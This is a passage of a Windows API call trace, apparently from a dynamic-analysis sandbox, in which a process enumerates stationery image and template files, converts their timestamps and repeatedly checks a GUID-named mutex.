ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0050.176] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.176] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.176] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.176] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.176] GlobalUnlock (hMem=0x44000c) returned 0 [0050.176] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.176] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.176] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.176] GlobalUnlock (hMem=0x44000c) returned 0 [0050.176] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.176] GlobalUnlock (hMem=0x440004) returned 0 [0050.176] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.176] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0050.176] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.176] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.176] GlobalLock (hMem=0x440004) returned 0x550170 [0050.176] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.176] GlobalUnlock (hMem=0x440004) returned 0 [0050.176] GlobalLock (hMem=0x440004) returned 0x550170 [0050.176] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.176] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.176] GlobalUnlock (hMem=0x440004) returned 0 [0050.176] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.176] GlobalUnlock (hMem=0x44000c) returned 0 [0050.176] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.177] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0050.177] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.177] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.177] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.177] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.177] GlobalUnlock (hMem=0x44000c) returned 0 [0050.177] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.177] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.177] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.177] GlobalUnlock (hMem=0x44000c) returned 0 [0050.177] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.177] GlobalUnlock (hMem=0x440004) returned 0 [0050.177] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.177] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0050.177] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.177] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.177] GlobalLock (hMem=0x440004) returned 0x550170 [0050.177] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.177] GlobalUnlock (hMem=0x440004) returned 0 [0050.177] GlobalLock (hMem=0x440004) returned 0x550170 [0050.177] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.177] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.177] GlobalUnlock (hMem=0x440004) returned 0 [0050.177] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.177] GlobalUnlock (hMem=0x44000c) returned 0 [0050.177] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.177] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0050.177] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.177] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.177] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.178] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.178] GlobalUnlock (hMem=0x44000c) returned 0 [0050.178] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.178] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.178] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.178] GlobalUnlock (hMem=0x44000c) returned 0 [0050.178] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.178] GlobalUnlock (hMem=0x440004) returned 0 [0050.178] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.178] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0050.178] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.178] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.178] GlobalLock (hMem=0x440004) returned 0x550170 [0050.178] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.178] GlobalUnlock (hMem=0x440004) returned 0 [0050.178] GlobalLock (hMem=0x440004) returned 0x550170 [0050.178] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.178] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.178] GlobalUnlock (hMem=0x440004) returned 0 [0050.178] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.178] GlobalUnlock (hMem=0x44000c) returned 0 [0050.178] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.178] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0050.178] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.178] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.178] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.178] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.178] GlobalUnlock (hMem=0x44000c) returned 0 [0050.178] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.178] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.178] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.178] GlobalUnlock (hMem=0x44000c) returned 0 [0050.178] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.179] GlobalUnlock (hMem=0x440004) returned 0 [0050.179] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.179] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0050.179] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.179] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.179] GlobalLock (hMem=0x440004) returned 0x550170 [0050.179] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.179] GlobalUnlock (hMem=0x440004) returned 0 [0050.179] GlobalLock (hMem=0x440004) returned 0x550170 [0050.179] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.179] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.179] GlobalUnlock (hMem=0x440004) returned 0 [0050.179] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.179] GlobalUnlock (hMem=0x44000c) returned 0 [0050.179] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.179] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0050.179] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.179] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.179] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.179] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.179] GlobalUnlock (hMem=0x44000c) returned 0 [0050.179] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.179] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.179] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.179] GlobalUnlock (hMem=0x44000c) returned 0 [0050.179] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.179] GlobalUnlock (hMem=0x440004) returned 0 [0050.179] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.179] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0050.179] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.179] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.180] GlobalLock (hMem=0x440004) returned 0x550170 [0050.180] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.180] GlobalUnlock (hMem=0x440004) returned 0 [0050.180] GlobalLock (hMem=0x440004) returned 0x550170 [0050.180] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.180] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.180] GlobalUnlock (hMem=0x440004) returned 0 [0050.180] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.180] GlobalUnlock (hMem=0x44000c) returned 0 [0050.180] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.180] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0050.180] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.180] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.180] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.180] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.180] GlobalUnlock (hMem=0x44000c) returned 0 [0050.180] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.180] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.180] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.180] GlobalUnlock (hMem=0x44000c) returned 0 [0050.180] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.180] GlobalUnlock (hMem=0x440004) returned 0 [0050.180] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.180] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0050.180] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.180] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.180] GlobalLock (hMem=0x440004) returned 0x550170 [0050.180] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.180] GlobalUnlock (hMem=0x440004) returned 0 [0050.180] GlobalLock (hMem=0x440004) returned 0x550170 [0050.180] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.181] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.181] GlobalUnlock (hMem=0x440004) returned 0 [0050.181] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.181] GlobalUnlock (hMem=0x44000c) returned 0 [0050.181] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.181] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0050.181] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.181] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.181] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.181] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.181] GlobalUnlock (hMem=0x44000c) returned 0 [0050.181] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.181] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.181] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.181] GlobalUnlock (hMem=0x44000c) returned 0 [0050.181] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.181] GlobalUnlock (hMem=0x440004) returned 0 [0050.181] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.181] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0050.181] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.181] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.181] GlobalLock (hMem=0x440004) returned 0x550170 [0050.181] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.181] GlobalUnlock (hMem=0x440004) returned 0 [0050.181] GlobalLock (hMem=0x440004) returned 0x550170 [0050.181] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.181] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.181] GlobalUnlock (hMem=0x440004) returned 0 [0050.181] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.181] GlobalUnlock (hMem=0x44000c) returned 0 [0050.181] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.182] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0050.182] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.182] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.182] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.182] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.182] GlobalUnlock (hMem=0x44000c) returned 0 [0050.182] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.182] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.182] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.182] GlobalUnlock (hMem=0x44000c) returned 0 [0050.182] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.182] GlobalUnlock (hMem=0x440004) returned 0 [0050.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.182] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0050.182] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.182] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.182] GlobalLock (hMem=0x440004) returned 0x550170 [0050.182] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.182] GlobalUnlock (hMem=0x440004) returned 0 [0050.182] GlobalLock (hMem=0x440004) returned 0x550170 [0050.182] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.182] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.182] GlobalUnlock (hMem=0x440004) returned 0 [0050.182] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.182] GlobalUnlock (hMem=0x44000c) returned 0 [0050.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.182] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0050.182] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.182] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.182] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.182] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.183] GlobalUnlock (hMem=0x44000c) returned 0 [0050.183] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.183] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.183] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.183] GlobalUnlock (hMem=0x44000c) returned 0 [0050.183] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.183] GlobalUnlock (hMem=0x440004) returned 0 [0050.183] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.183] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0050.183] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.183] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.183] GlobalLock 